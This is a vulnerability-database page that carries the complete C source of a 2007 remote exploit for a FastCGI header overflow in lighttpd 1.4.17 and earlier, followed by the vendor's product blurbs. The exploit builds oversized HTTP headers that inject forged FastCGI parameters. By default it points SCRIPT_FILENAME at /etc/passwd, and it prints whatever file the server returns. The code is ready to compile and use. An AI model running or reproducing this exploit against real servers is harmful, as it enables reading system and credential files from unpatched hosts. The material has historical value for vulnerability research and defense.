Lucene search
K

Lighttpd <= 1.4.17 FastCGI Header Overflow Remote Exploit

🗓️ 20 Sep 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Lighttpd FastCGI Remote Exploit <= 1.4.17 discovered by Mattias Bengtsson and Philip Olausson for void.at securit

Code

                                                /***********************************************************
 * hoagie_lighttpd.c
 * LIGHTTPD/FASTCGI REMOTE EXPLOIT (&lt;= 1.4.17)
 *
 * Bug discovered by:
 * Mattias Bengtsson &lt;[email protected]&gt;
 * Philip Olausson &lt;[email protected]&gt;
 * http://www.secweb.se/en/advisories/lighttpd-fastcgi-remote-vulnerability/
 *
 * FastCGI:
 * http://www.fastcgi.com/devkit/doc/fcgi-spec.html
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * [email protected]
 * http://www.void.at
 *
 ************************************************************/
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;netdb.h&gt;
#include &lt;time.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;

/* don't change this values except you know exactly what you are doing */
#define REQUEST_SIZE_BASE     0x1530a

char FILL_CHAR[] = &quot;void&quot;;
char RANDOM_CHAR[] = &quot;01234567890&quot;
                     &quot;abcdefghijklmnopqrstuvwxyz&quot;
                     &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;;


/* just default values */
#define DEFAULT_SCRIPT        &quot;/index.php&quot;   /* can be changed via -s */
#define DEFAULT_PORT          &quot;80&quot;           /* can be changed via -p */
#define DEFAULT_NAME          &quot;SCRIPT_FILENAME&quot; /* can be changed via -n */
#define DEFAULT_VALUE         &quot;/etc/passwd&quot;  /* can be change via -a */

#define DEFAULT_SEPARATOR     ','

#define BUFFER_SIZE           1024

/* header data type
 * defining header name/value content and length
 * if a fixed value is set use this one instead of generating content
 */
struct header_t {
   int  name_length;
   char name_char;
   int  value_length;
   char value_char;
   char *value_value;
};

/* generate_param
 * generate character array (input: comma separated list)
 */
char *generate_param(int *param_size_out,
                     char **name,
                     char **value) {
   char *param = NULL;
   int  param_size = 0;
   int  param_offset = 0;
   int  i;
   int  name_length = 0;
   int  value_length = 0;

   for (i = 0; name[i] != NULL &amp;&amp; value[i] != NULL; i++) {
      name_length = strlen(name[i]);
      value_length = strlen(value[i]);
      if (name_length &gt; 127) {
         param_size += 4;
      } else {
         param_size++;
      }
      if (value_length &gt; 127) {
         param_size += 4;
      } else {
         param_size++;
      }
      param_size += strlen(name[i]) + strlen(value[i]);
      param = realloc(param, param_size);
      if (param) {
         if (strlen(name[i]) &gt; 127) {
            param[param_offset++] = (name_length &gt;&gt; 24) | 0x80;
            param[param_offset++] = (name_length &gt;&gt; 16) &amp; 0xff;
            param[param_offset++] = (name_length &gt;&gt; 8) &amp; 0xff;
            param[param_offset++] = name_length &amp; 0xff;
         } else {
            param[param_offset++] = name_length;
         }
         if (strlen(value[i]) &gt; 127) {
            param[param_offset++] = (value_length &gt;&gt; 24) | 0x80;
            param[param_offset++] = (value_length &gt;&gt; 16) &amp; 0xff;
            param[param_offset++] = (value_length &gt;&gt; 8) &amp; 0xff;
            param[param_offset++] = value_length &amp; 0xff;
         } else {
            param[param_offset++] = value_length;
         }
         memcpy(param + param_offset, name[i], name_length);
         param_offset += name_length;
         memcpy(param + param_offset, value[i], value_length);
         param_offset += value_length;
      }
   }

   if (param) {
      *param_size_out = param_size;
   }

   return param;
}

/* generate_buffer
 * generate header name or value buffer
 */
char *generate_buffer(int length, char c, int random_mode) {
   char *buffer = (char*)malloc(length + 1);
   int i;

   if (buffer) {
      memset(buffer, 0, length + 1);
      if (random_mode) {
         for (i = 0; i &lt; length; i++) {
            buffer[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
         }
      } else {
         memset(buffer, c, length);
      }
   }

   return buffer;
}

/* generate_array
 * generate character array (input: comma separated list)
 */
char **generate_array(char *list, char separator, int *length) {
   char **data = NULL;
   int i = 0;
   int start = 0;
   int j = 1;

   if (list) {
      for (i = 0; i &lt;= strlen(list); i++) {
         if (list[i] == separator ||
             i == strlen(list)) {
            data = realloc(data, (j + 1) * (sizeof(char*)));
            if (data) {
               data[j - 1] = malloc(i - start + 1);
               if (data[j - 1]) {
                  strncpy(data[j - 1], list + start, i - start);
                  data[j - 1][i - start + 1] = 0;
               }
               data[j] = NULL;
            }
            start = i + 1;
            j++;
         }
      }
      *length = j;
   }

   return data;
}

/* generate_request
 * generate http request to trigger the overflow in fastcgi module
 * and overwrite fcgi param data with post content
 */
char *generate_request(char *server, char *port,
                       char *script, char **names,
                       char **values, int *length_out,
                       int random_mode) {
   char *param;
   int  param_size;
   char *request;
   int  offset;
   int  length;
   int  i;
   int  fillup;
   char *name;
   char *value;

   /* array of header data that is used to create header name and value lines 
    * most of this values can be changed -&gt; only length is important and a
    * few characters */
   struct header_t header[] = {
      { 0x01, '0', 0x04, FILL_CHAR[0], NULL },
      { FILL_CHAR[0] - 0x5 - 0x2, 'B', FILL_CHAR[0] - 0x2, 'B', NULL },
      { 0x01, '1', 0x5450 - ( (FILL_CHAR[0] + 0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'C', NULL },
      { 0x01, '2', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'D',  NULL },
      { 0x01, '3', 0x04, FILL_CHAR[1], NULL },
      { FILL_CHAR[1] - 0x5 - 0x2, 'F', FILL_CHAR[1] - 0x2, 'F', NULL },
      { 0x01, '4', 0x5450 - ( (FILL_CHAR[1] + 0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'H', NULL },
      { 0x01, '5', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'I',  NULL },
      { 0x01, '6', 0x04, FILL_CHAR[2], NULL },
      { FILL_CHAR[2] - 0x5 - 0x2, 'K', FILL_CHAR[2] - 0x2, 'K',  NULL },
      { 0x01, '7', 0x5450 - ( (FILL_CHAR[2] +  0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'L', NULL },
      { 0x01, '8', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'M', NULL },
      { 0x01, '9', 0, 0, &quot;uvzz&quot; },
      { FILL_CHAR[3] - 0x5 - 0x2, 'O', FILL_CHAR[3] - 0x2, 'O',  NULL },
      { 0x01, 'z', 0x1cf - ((FILL_CHAR[3]- 0x1 ) * 2) -0x1 - 0x5 - 0x1 - 0x4, 'z',  NULL },
      { 0x00, 0x00, 0x00, 0x00, NULL }
   };

   /* fill rest of post content with data */
   char content_part_one[] = {
      0x06, 0x80, 0x00, 0x00, 0x00, 'H', 'T', 'T', 'P', '_', 'W' 
   };

   /* set a fake FastCGI record to mark the end of data */
   char content_part_two[] = {
      0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 
   };

   param = generate_param(&amp;param_size, names, values);
   if (param &amp;&amp; param_size &gt; 0) {
      fillup = 0x54af - 0x5f - 0x1e3 - param_size - 0x1 - 0x5 - 0x1 - 0x4;
      length = REQUEST_SIZE_BASE + param_size +
               strlen(server) + strlen(port) +
               strlen(script);
      request = (char*)malloc(length);
      if (request) {
         memset(request, 0, length);
         offset = sprintf(request,
                          &quot;POST %s HTTP/1.1\r\n&quot;
                          &quot;Host: %s:%s\r\n&quot;
                          &quot;Connection: close\r\n&quot;
                          &quot;Content-Length: %d\r\n&quot;
                          &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;,
                          script,
                          server, port,
                          fillup + param_size + sizeof(content_part_one) +
                          sizeof(content_part_two) + 0x5f);
         for (i = 0; header[i].name_length != 0; i++) {
            name = generate_buffer(header[i].name_length,
                                   header[i].name_char,
                                   header[i].name_length != 1 ? random_mode : 0);

            if (header[i].value_value) {
               value = header[i].value_value;
            } else {
               value = generate_buffer(header[i].value_length,
                                       header[i].value_char,
                                       header[i].value_length != 4 &amp;&amp;
                                       header[i].value_char != 'z' ? random_mode : 0);
            }

            offset += sprintf(request + offset,
                              &quot;%s: %s\r\n&quot;, name, value);
            if (!header[i].value_value) {
               free(value);
            }
            free(name);
         }

         offset += sprintf(request + offset, &quot;\r\n&quot;);

         memcpy(request + offset, param, param_size);
         offset += param_size;
 
         content_part_one[0x03] = (fillup &gt;&gt; 8) &amp; 0xff;
         content_part_one[0x04] = fillup &amp; 0xff;
         for (i = 0; i &lt; sizeof(content_part_one); i++) {
            request[offset++] = content_part_one[i];
         }
         for (i = 0; i &lt; fillup + 0x5f; i++) {
            request[offset++] = random_mode ? RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))] : 'W';
         }
         for (i = 0; i &lt; sizeof(content_part_two); i++) {
            request[offset++] = content_part_two[i];
         }

         *length_out = offset;
      }
   }

   return request;
}

/* usage
 * display help screen
 */
void usage(int argc, char **argv) {
   fprintf(stderr,
           &quot;usage: %s [-h] [-v] [-r] [-d &lt;host&gt;] [-s &lt;script&gt;] [-p &lt;port&gt;]\n&quot;
           &quot;       [-n &lt;header names&gt;] [-a &lt;header values&gt;] [-o &lt;output&gt;]\n&quot;
           &quot;\n&quot;
           &quot;-h        help\n&quot;
           &quot;-v        verbose\n&quot;
           &quot;-r        enable random mode\n&quot;
           &quot;-d host   HTTP server\n&quot;
           &quot;-p port   HTTP port (default: %s)\n&quot;
           &quot;-s script script url on remote server (default: %s)\n&quot;
           &quot;-n value  header names (comma seperated, default: %s)\n&quot;
           &quot;-a value  header values (comma seperated, default: %s)\n&quot;
           &quot;-o output save result in output file\n&quot;
           &quot;\n&quot;
           ,
           argv[0],
           DEFAULT_PORT,
           DEFAULT_SCRIPT,
           DEFAULT_NAME,
           DEFAULT_VALUE);
   exit(1);           
}

/* connect_to
 * connect to remote http server
 */
int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1;
   }

   memset(&amp;s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&amp;s_in.sin_addr, he-&gt;h_addr, he-&gt;h_length);
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) &lt; 0) {
          return -3;
       }
   }  

   if (connect(s, (struct sockaddr *)&amp;s_in, sizeof(s_in)) == -1) {
      return -4;
   }

   return s;
}

/* parse_response
 * parse response data from http server
 */
void parse_response(char *response, int response_length, char *output) {
   char *p;
   int http_code;
   int header_mode = 1;
   int size;
   int bytes = 0;
   FILE *fp = stdout;

   p = strtok(response, &quot;\r\n&quot;);
   while (p) {
      /* header mode active? */
      if (header_mode) {
         if (strstr(p, &quot;HTTP/1.1 &quot;) == p) {
            sscanf(p, &quot;HTTP/1.1 %d&quot;, &amp;http_code);
            if (http_code == 200) {
               printf(&quot;[*] request successful\n&quot;);
            } else {
               printf(&quot;[*] request failed (error code: %d)\n&quot;, http_code);
            }
         } else if (strstr(p, &quot;Server: &quot;) == p) {
            printf(&quot;[*] server version: %s\n&quot;, strstr(p, &quot;Server: &quot;) + 8);
         /* content length for first content */
         } else if (!strchr(p, ':') &amp;&amp; http_code == 200) {
            sscanf(p, &quot;%x&quot;, &amp;size);
            header_mode = 0;
            if (output) {
               fp = fopen(output, &quot;w&quot;);
            }
         }
      } else {
         if (bytes &lt; size) {
            fprintf(fp, &quot;%s\n&quot;, p);
            bytes += strlen(p) + 1;
         }
      }
      p = strtok(NULL, &quot;\r\n&quot;);
   }
   if (fp != stdout &amp;&amp; fp != NULL) {
      printf(&quot;[*] %d bytes written to %s\n&quot;, bytes, output);
      fclose(fp);
   }
}

/* main entry
 */
int main(int argc, char **argv) {
   char *server = NULL;
   char *port = DEFAULT_PORT;
   char *script = DEFAULT_SCRIPT;
   char **name = NULL;
   int name_length = 0;
   char **value = NULL;
   int value_length = 0;
   char *request = NULL;
   int request_length = 0;
   int i;
   int random_mode = 0;
   int verbose = 0;
   int s;
   char c;
   fd_set fs;
   int bytes;
   char buffer[BUFFER_SIZE];
   char *response = NULL;
   int response_length = 0;
   char *output = NULL;

   fprintf(stderr,
           &quot;hoagie_lighttpd.c - lighttpd(fastcgi) &lt;= 1.4.17 remote\n&quot;
           &quot;-andi / void.at\n\n&quot;);

   if (argc &lt; 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, &quot;hvrd:p:s:u:n:a:o:&quot;)) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv);
                 break;
            case 'd':
                 server = optarg;
                 break;
            case 'p':
                 port = optarg;
                 break;
            case 's':
                 script = optarg;
                 break;
            case 'n':
                 name = generate_array(optarg, DEFAULT_SEPARATOR, &amp;name_length);
                 break;
            case 'a':
                 value = generate_array(optarg, DEFAULT_SEPARATOR, &amp;value_length);
                 break;
            case 'r':
                 random_mode = 1;
                 srand(time(NULL));
                 break;
            case 'v':
                 verbose = 1;
                 break;
            case 'o':
                 output = optarg;
                 break;
            default:
                 fprintf(stderr, &quot;[*] unknown command line option '%c'\n&quot;, c);
                 exit(-1);
         }
      }

      if (!name) {
         name = generate_array(DEFAULT_NAME, DEFAULT_SEPARATOR, &amp;name_length);
      }

      if (!value) {
         value = generate_array(DEFAULT_VALUE, DEFAULT_SEPARATOR, &amp;value_length);
      }


      if (name_length != value_length) {
         fprintf(stderr,
                 &quot;[*] check -n and -n parameter (argument list doesnt match)\n&quot;);
      } else if (!server) {
         fprintf(stderr, &quot;[*] server is missing\n&quot;);
      } else {
         if (random_mode) {
            for (i = 0; i &lt; 4; i++) {
               FILL_CHAR[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
            }
         }
         printf(&quot;[*] creating request (filler: %c/%c/%c/%c, random: %s)\n&quot;,
                FILL_CHAR[0], FILL_CHAR[1], FILL_CHAR[2], FILL_CHAR[3],
                random_mode ? &quot;on&quot;: &quot;off&quot;);
         for (i = 0; name[i]; i++) {
            printf(&quot;[*] set header [%s]=&gt;[%s]\n&quot;, name[i], value[i]);
         }
         request = generate_request(server, port, script, name, value,
                                    &amp;request_length, random_mode);
         if (verbose) {
            printf(&quot;[*] sending [&quot;);
            write(1, request, request_length);
            printf(&quot;]\n&quot;);
         } 
         if (request) {
            printf(&quot;[*] connecting to %s:%s ...\n&quot;, server, port);
            s = connect_to(server, atoi(port));
            if (s &gt; 0) {
               FD_ZERO(&amp;fs);
               FD_SET(s, &amp;fs);
               printf(&quot;[*] request url %s\n&quot;, script);
               write(s, request, request_length);
               do {
                  select(s + 1, &amp;fs, NULL, NULL, NULL);
                  bytes = read(s, buffer, sizeof(buffer));
                  if (bytes &gt; 0) {
                     response_length += bytes;
                     response = realloc(response, response_length + 1);
                     if (response) {
                        memcpy(response + response_length - bytes,
                               buffer,
                               bytes);
                     }
                  }
               } while (bytes &gt; 0);
               close(s);
               response[response_length] = 0;
               parse_response(response, response_length, output);
            } else {
               fprintf(stderr, &quot;[*] connect failed\n&quot;);
            }
            free(request);
         } else {
            fprintf(stderr, &quot;[*] can't allocate memory for request\n&quot;);
         }
      }

      for (i = 0; name[i]; i++) {
         free(name[i]);
      }
      free(name);
      for (i = 0; value[i]; i++) {
         free(value[i]);
      }
      free(value);
   }

   return 0;
}

// milw0rm.com [2007-09-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Sep 2007 00:00Current
7.1High risk
Vulners AI Score7.1
14